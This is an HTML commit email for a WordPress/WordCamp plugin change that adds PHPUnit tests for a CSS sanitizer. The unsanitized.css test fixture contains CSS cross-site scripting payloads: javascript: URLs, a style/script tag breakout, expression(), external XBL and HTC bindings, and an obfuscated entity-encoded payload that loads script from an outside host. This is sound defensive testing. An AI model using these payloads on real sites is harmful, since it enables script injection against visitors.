<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>[2145] sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css: WordCamp Remote CSS: Add unit test to cover `sanitize_and_save_unsafe_css()`.</title>
</head>
<body>

<style type="text/css"><!--
#msg dl.meta { border: 1px #006 solid; background: #369; padding: 6px; color: #fff; }
#msg dl.meta dt { float: left; width: 6em; font-weight: bold; }
#msg dt:after { content:':';}
#msg dl, #msg dt, #msg ul, #msg li, #header, #footer, #logmsg { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt;  }
#msg dl a { font-weight: bold}
#msg dl a:link    { color:#fc3; }
#msg dl a:active  { color:#ff0; }
#msg dl a:visited { color:#cc6; }
h3 { font-family: verdana,arial,helvetica,sans-serif; font-size: 10pt; font-weight: bold; }
#msg pre { overflow: auto; background: #ffc; border: 1px #fa0 solid; padding: 6px; }
#logmsg { background: #ffc; border: 1px #fa0 solid; padding: 1em 1em 0 1em; }
#logmsg p, #logmsg pre, #logmsg blockquote { margin: 0 0 1em 0; }
#logmsg p, #logmsg li, #logmsg dt, #logmsg dd { line-height: 14pt; }
#logmsg h1, #logmsg h2, #logmsg h3, #logmsg h4, #logmsg h5, #logmsg h6 { margin: .5em 0; }
#logmsg h1:first-child, #logmsg h2:first-child, #logmsg h3:first-child, #logmsg h4:first-child, #logmsg h5:first-child, #logmsg h6:first-child { margin-top: 0; }
#logmsg ul, #logmsg ol { padding: 0; list-style-position: inside; margin: 0 0 0 1em; }
#logmsg ul { text-indent: -1em; padding-left: 1em; }#logmsg ol { text-indent: -1.5em; padding-left: 1.5em; }
#logmsg > ul, #logmsg > ol { margin: 0 0 1em 0; }
#logmsg pre { background: #eee; padding: 1em; }
#logmsg blockquote { border: 1px solid #fa0; border-left-width: 10px; padding: 1em 1em 0 1em; background: white;}
#logmsg dl { margin: 0; }
#logmsg dt { font-weight: bold; }
#logmsg dd { margin: 0; padding: 0 0 0.5em 0; }
#logmsg dd:before { content:'\00bb';}
#logmsg table { border-spacing: 0px; border-collapse: collapse; border-top: 4px solid #fa0; border-bottom: 1px solid #fa0; background: #fff; }
#logmsg table th { text-align: left; font-weight: normal; padding: 0.2em 0.5em; border-top: 1px dotted #fa0; }
#logmsg table td { text-align: right; border-top: 1px dotted #fa0; padding: 0.2em 0.5em; }
#logmsg table thead th { text-align: center; border-bottom: 1px solid #fa0; }
#logmsg table th.Corner { text-align: left; }
#logmsg hr { border: none 0; border-top: 2px dashed #fa0; height: 1px; }
#header, #footer { color: #fff; background: #636; border: 1px #300 solid; padding: 6px; }
#patch { width: 100%; }
#patch h4 {font-family: verdana,arial,helvetica,sans-serif;font-size:10pt;padding:8px;background:#369;color:#fff;margin:0;}
#patch .propset h4, #patch .binary h4 {margin:0;}
#patch pre {padding:0;line-height:1.2em;margin:0;}
#patch .diff {width:100%;background:#eee;padding: 0 0 10px 0;overflow:auto;}
#patch .propset .diff, #patch .binary .diff  {padding:10px 0;}
#patch span {display:block;padding:0 10px;}
#patch .modfile, #patch .addfile, #patch .delfile, #patch .propset, #patch .binary, #patch .copfile {border:1px solid #ccc;margin:10px 0;}
#patch ins {background:#dfd;text-decoration:none;display:block;padding:0 10px;}
#patch del {background:#fdd;text-decoration:none;display:block;padding:0 10px;}
#patch .lines, .info {color:#888;background:#fff;}
--></style>
<div id="msg">
<dl class="meta" style="font-size: 105%">
<dt style="float: left; width: 6em; font-weight: bold">Revision</dt> <dd><a style="font-weight: bold" href="http://meta.trac.wordpress.org/changeset/2145">2145</a><script type="application/ld+json">{"@context":"http://schema.org","@type":"EmailMessage","description":"Review this Commit","action":{"@type":"ViewAction","url":"http://meta.trac.wordpress.org/changeset/2145","name":"Review Commit"}}</script></dd>
<dt style="float: left; width: 6em; font-weight: bold">Author</dt> <dd>iandunn</dd>
<dt style="float: left; width: 6em; font-weight: bold">Date</dt> <dd>2015-11-30 19:40:05 +0000 (Mon, 30 Nov 2015)</dd>
</dl>

<pre style='padding-left: 1em; margin: 2em 0; border-left: 2px solid #ccc; line-height: 1.25; font-size: 105%; font-family: sans-serif'>WordCamp Remote CSS: Add unit test to cover `sanitize_and_save_unsafe_css()`.</pre>

<h3>Added Paths</h3>
<ul>
<li><a href="#sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecssphpunitxmldist">sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/phpunit.xml.dist</a></li>
<li>sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/</li>
<li><a href="#sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecsstestsbootstrapphp">sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/bootstrap.php</a></li>
<li><a href="#sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecsstestssanitizedcss">sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/sanitized.css</a></li>
<li><a href="#sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecssteststestsynchronizeremotecssphp">sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/test-synchronize-remote-css.php</a></li>
<li><a href="#sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecsstestsunsanitizedcss">sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/unsanitized.css</a></li>
</ul>

</div>
<div id="patch">
<h3>Diff</h3>
<a id="sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecssphpunitxmldist"></a>
<div class="addfile"><h4 style="background-color: #eee; color: inherit; margin: 1em 0; padding: 1.3em; font-size: 115%">Added: sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/phpunit.xml.dist</h4>
<pre class="diff"><span>
<span class="info" style="display: block; padding: 0 10px; color: #888">--- sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/phpunit.xml.dist                              (rev 0)
+++ sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/phpunit.xml.dist        2015-11-30 19:40:05 UTC (rev 2145)
</span><span class="lines" style="display: block; padding: 0 10px; color: #888">@@ -0,0 +1,15 @@
</span><ins style="background-color: #dfd; text-decoration:none; display:block; padding: 0 10px">+<phpunit
+       bootstrap="tests/bootstrap.php"
+       backupGlobals="false"
+       colors="true"
+       convertErrorsToExceptions="true"
+       convertNoticesToExceptions="true"
+       convertWarningsToExceptions="true"
+       >
+
+       <testsuites>
+               <testsuite>
+                       <directory prefix="test-" suffix=".php">./tests/</directory>
+               </testsuite>
+       </testsuites>
+</phpunit>
</ins></span></pre></div>
<a id="sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecsstestsbootstrapphp"></a>
<div class="addfile"><h4 style="background-color: #eee; color: inherit; margin: 1em 0; padding: 1.3em; font-size: 115%">Added: sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/bootstrap.php</h4>
<pre class="diff"><span>
<span class="info" style="display: block; padding: 0 10px; color: #888">--- sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/bootstrap.php                           (rev 0)
+++ sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/bootstrap.php     2015-11-30 19:40:05 UTC (rev 2145)
</span><span class="lines" style="display: block; padding: 0 10px; color: #888">@@ -0,0 +1,31 @@
</span><ins style="background-color: #dfd; text-decoration:none; display:block; padding: 0 10px">+<?php
+
+namespace WordCamp\RemoteCSS;
+
+$core_tests_directory = getenv( 'WP_TESTS_DIR' );
+
+if ( ! $core_tests_directory ) {
+       echo "\nPlease set the WP_TESTS_DIR environment variable to the folder where WordPress' PHPUnit tests live --";
+       echo "\ne.g., export WP_TESTS_DIR=/srv/www/wordpress-develop/tests/phpunit\n";
+
+       return;
+}
+
+require_once( $core_tests_directory . '/includes/functions.php' );
+
+/**
+ * Load the plugins that we'll need to be active for the tests
+ */
+function manually_load_plugin() {
+       define( 'WP_ADMIN',          true ); // This is so that wordcamp-remote-css/bootstrap.php will load the app/*.php files. It may need to be refactored if we add tests for output-cached-css.php.
+       define( 'JETPACK_DEV_DEBUG', true );
+
+       require_once( dirname(                   __DIR__ )     . '/bootstrap.php'                 );
+       require_once( dirname( dirname(          __DIR__ ) )   . '/jetpack/jetpack.php'           );
+       require_once( dirname( dirname( dirname( __DIR__ ) ) ) . '/mu-plugins/jetpack-tweaks.php' ); // Some of the sanitization lives here because it runs for both Custom CSS and Remote CSS
+}
+tests_add_filter( 'muplugins_loaded', __NAMESPACE__ . '\manually_load_plugin' );
+
+require $core_tests_directory . '/includes/bootstrap.php';
+
+\Jetpack::activate_module( 'custom-css', false, false );
</ins><span class="cx" style="display: block; padding: 0 10px">Property changes on: sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/bootstrap.php
</span><span class="cx" style="display: block; padding: 0 10px">___________________________________________________________________
</span></span></pre></div>
<a id="svnexecutable"></a>
<div class="addfile"><h4 style="background-color: #eee; color: inherit; margin: 1em 0; padding: 1.3em; font-size: 115%">Added: svn:executable</h4></div>
<ins style="background-color: #dfd; text-decoration:none; display:block; padding: 0 10px">+*
</ins><span class="cx" style="display: block; padding: 0 10px">\ No newline at end of property
</span><a id="sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecsstestssanitizedcss"></a>
<div class="addfile"><h4 style="background-color: #eee; color: inherit; margin: 1em 0; padding: 1.3em; font-size: 115%">Added: sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/sanitized.css</h4>
<pre class="diff"><span>
<span class="info" style="display: block; padding: 0 10px; color: #888">--- sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/sanitized.css                           (rev 0)
+++ sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/sanitized.css     2015-11-30 19:40:05 UTC (rev 2145)
</span><span class="lines" style="display: block; padding: 0 10px; color: #888">@@ -0,0 +1,68 @@
</span><ins style="background-color: #dfd; text-decoration:none; display:block; padding: 0 10px">+/*
+ * Malicious
+ */
+/* Charset */
+/* Imports */
+/* Javascript */
+body {
+       background: url('alert('1')');
+}
+
+header {
+       background-image: url('http://example.com/foo.jpg?alert(2)');
+}
+
+article {
+       background-image: url('http://example.com/foo.jpg?alert(3)');
+}
+
+footer {
+       width: ;
+}
+
+div {
+       background-image: url('alert(5);');
+}
+
+p {
+       background: url('alert(6);');
+}
+
+span {
+       list-style-image: url('alert(7)');
+}
+
+* {
+       background: url('alert(8);');
+}
+
+/* Bindings */
+body {
+}
+
+h2 {
+}
+
+h3 {
+}
+
+div {
+}
+
+/* Misc */
+a {
+}
+
+a {
+}
+
+/*
+ * Safe
+ */
+.sidebar {
+       background-color: #99CBC7;
+}
+
+.hentry {
+       background-color: #7AB7F3;
+}
</ins><span class="cx" style="display: block; padding: 0 10px">\ No newline at end of file
</span></span></pre></div>
<a id="sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecssteststestsynchronizeremotecssphp"></a>
<div class="addfile"><h4 style="background-color: #eee; color: inherit; margin: 1em 0; padding: 1.3em; font-size: 115%">Added: sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/test-synchronize-remote-css.php</h4>
<pre class="diff"><span>
<span class="info" style="display: block; padding: 0 10px; color: #888">--- sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/test-synchronize-remote-css.php                         (rev 0)
+++ sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/test-synchronize-remote-css.php   2015-11-30 19:40:05 UTC (rev 2145)
</span><span class="lines" style="display: block; padding: 0 10px; color: #888">@@ -0,0 +1,23 @@
</span><ins style="background-color: #dfd; text-decoration:none; display:block; padding: 0 10px">+<?php
+
+namespace WordCamp\RemoteCSS;
+
+defined( 'WPINC' ) or die();
+
+class Test_Synchronize_Remote_CSS extends \WP_UnitTestCase {
+       /**
+        * Test that the sanitized css matches a known good version
+        *
+        * @covers WordCamp\RemoteCSS\sanitize_and_save_unsafe_css()
+        */
+       public function test_css_was_sanitized() {
+               $unsanitized_css          = file_get_contents( __DIR__ . '/unsanitized.css' );
+               $known_good_sanitized_css = file_get_contents( __DIR__ . '/sanitized.css'   );
+
+               sanitize_and_save_unsafe_css( $unsanitized_css );
+
+               $maybe_sanitized_css = get_safe_css_post();
+
+               $this->assertEquals( $maybe_sanitized_css->post_content, $known_good_sanitized_css );
+       }
+}
</ins></span></pre></div>
<a id="sitestrunkwordcamporgpublic_htmlwpcontentpluginswordcampremotecsstestsunsanitizedcss"></a>
<div class="addfile"><h4 style="background-color: #eee; color: inherit; margin: 1em 0; padding: 1.3em; font-size: 115%">Added: sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/unsanitized.css</h4>
<pre class="diff"><span>
<span class="info" style="display: block; padding: 0 10px; color: #888">--- sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/unsanitized.css                         (rev 0)
+++ sites/trunk/wordcamp.org/public_html/wp-content/plugins/wordcamp-remote-css/tests/unsanitized.css   2015-11-30 19:40:05 UTC (rev 2145)
</span><span class="lines" style="display: block; padding: 0 10px; color: #888">@@ -0,0 +1,91 @@
</span><ins style="background-color: #dfd; text-decoration:none; display:block; padding: 0 10px">+/*
+ * Malicious
+ */
+
+/* Charset */
+@charset 'iso-8859-15';
+
+/* Imports */
+@import url("test1.css");
+@import url ("test2.css");
+@import "test3.css";
+@import test4.css;
+@import "test5.css" tv, print;
+@import test6.css, print;
+@import http://example.com/test7.css;
+@import "http://example.com/test8.css";
+@import url("/test9.css");
+@import url('test10.css') screen and (orientation:landscape);
+
+
+/* Javascript */
+body {
+       background: url( javascript:alert( '1' ) );
+}
+
+header {
+       background-image: url( 'http://example.com/foo.jpg?</STYLE><SCRIPT>alert(2)</SCRIPT>' );
+}
+
+article {
+       background-image: url( 'http://example.com/foo.jpg?</STYLE><SCRIPT>alert(3)</SCRIPT>' );
+}
+
+footer {
+       width: expression( alert( '4' ) );
+}
+
+div {
+       background-image: url( 'javascript:alert(5);' );
+}
+
+p {
+       background: url( "javascript:alert(6);" );
+}
+
+span {
+       list-style-image: url( javascript:alert( 7 ) );
+}
+
+* {
+       background:url("javascript:alert(8);");
+}
+
+/* Bindings */
+body {
+       binding: url("/test.xml");
+}
+
+h2 {
+       -webkit-binding: url("//example.com/test2.xml");
+}
+
+h3 {
+       -moz-binding: url("test3.xml");
+}
+
+div {
+       \-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss);
+       &#x78&#x78&#x3A&#x20&#x65&#x5C&#x78&#x70&#x5C&#x72&#x65&#x5C&#x73&#x5C&#x73&#x5C&#x69&#x5C&#x6F&#x5C&#x6E&#x28&#x28&#x77&#x69&#x6E&#x64&#x6F&#x77&#x2E&#x72&#x21&#x3D&#x31&#x29&#x20&#x3F&#x20&#x65&#x76&#x61&#x6C&#x28&#x27&#x78&#x3D&#x53&#x74&#x72&#x69&#x6E&#x67&#x2E&#x66&#x72&#x6F&#x6D&#x43&#x68&#x61&#x72&#x43&#x6F&#x64&#x65&#x3B&#x73&#x63&#x72&#x3D&#x64&#x6F&#x63&#x75&#x6D&#x65&#x6E&#x74&#x2E&#x63&#x72&#x65&#x61&#x74&#x65&#x45&#x6C&#x65&#x6D&#x65&#x6E&#x74&#x28&#x78&#x28&#x31&#x31&#x35&#x2C&#x39&#x39&#x2C&#x31&#x31&#x34&#x2C&#x31&#x30&#x35&#x2C&#
 x31&#x31&#x32&#x2C&#x31&#x31&#x36&#x29&#x29&#x3B&#x73&#x63&#x72&#x2E&#x73&#x65&#x74&#x41&#x74&#x74&#x72&#x69&#x62&#x75&#x74&#x65&#x28&#x78&#x28&#x31&#x31&#x35&#x2C&#x31&#x31&#x34&#x2C&#x39&#x39&#x29&#x2C&#x78&#x28&#x31&#x30&#x34&#x2C&#x31&#x31&#x36&#x2C&#x31&#x31&#x36&#x2C&#x31&#x31&#x32&#x2C&#x35&#x38&#x2C&#x34&#x37&#x2C&#x34&#x37&#x2C&#x39&#x38&#x2C&#x31&#x31&#x37&#x2C&#x31&#x31&#x35&#x2C&#x31&#x30&#x35&#x2C&#x31&#x31&#x30&#x2C&#x31&#x30&#x31&#x2C&#x31&#x31&#x35&#x2C&#x31&#x31&#x35&#x2C&#x31&#x30&#x35&#x2C&#x31&#x31&#x30&#x2C&#x31&#x30&#x32&#x2C&amp
 ;#x31&#x31&#x31&#x2C&#x34&#x36&#x2C&#x39&#x39&#x2C&#x31&#x31&#x31&#x2C&#x34&#x36&#x2C&#x31&#x31&#x37&#x2C&#x31&#x30&#x37&#x2C&#x34&#x37&#x2C&#x31&#x30&#x38&#x2C&#x39&#x37&#x2C&#x39&#x38&#x2C&#x31&#x31&#x35&#x2C&#x34&#x37&#x2C&#x31&#x32&#x30&#x2C&#x31&#x31&#x35&#x2C&#x31&#x31&#x35&#x2C&#x34&#x37&#x2C&#x31&#x32&#x30&#x2C&#x31&#x31&#x35&#x2C&#x31&#x31&#x35&#x2C&#x34&#x36&#x2C&#x31&#x30&#x36&#x2C&#x31&#x31&#x35&#x29&#x29&#x3B&#x64&#x6F&#x63&#x75&#x6D&#x65&#x6E&#x74&#x2E&#x67&#x65&#x74&#x45&#x6C&#x65&#x6D&#x65&#x6E&#x74&#x42&#x79&#x49&#x64&#x28&#x78&#x28&a
 mp;#x20&#x31&#x30&#x35&#x2C&#x31&#x31&#x30&#x2C&#x31&#x30&#x36&#x2C&#x31&#x30&#x31&#x2C&#x39&#x39&#x2C&#x31&#x31&#x36&#x20&#x29&#x29&#x2E&#x61&#x70&#x70&#x65&#x6E&#x64&#x43&#x68&#x69&#x6C&#x64&#x28&#x73&#x63&#x72&#x29&#x3B&#x77&#x69&#x6E&#x64&#x6F&#x77&#x2E&#x72&#x3D&#x31&#x3B&#x27&#x29 : 1);
+}
+
+/* Misc */
+a {
+       content-before: @url(example.com/evil.xml);
+}
+
+a {
+       behavior: url(a1.htc) url(a2.htc);
+}
+
+/*
+ * Safe
+ */
+
+.sidebar {
+       background-color: #99CBC7;
+}
+
+.hentry {
+       background-color: #7AB7F3;
+}
</ins><span class="cx" style="display: block; padding: 0 10px">\ No newline at end of file
</span></span></pre>
</div>
</div>

</body>
</html>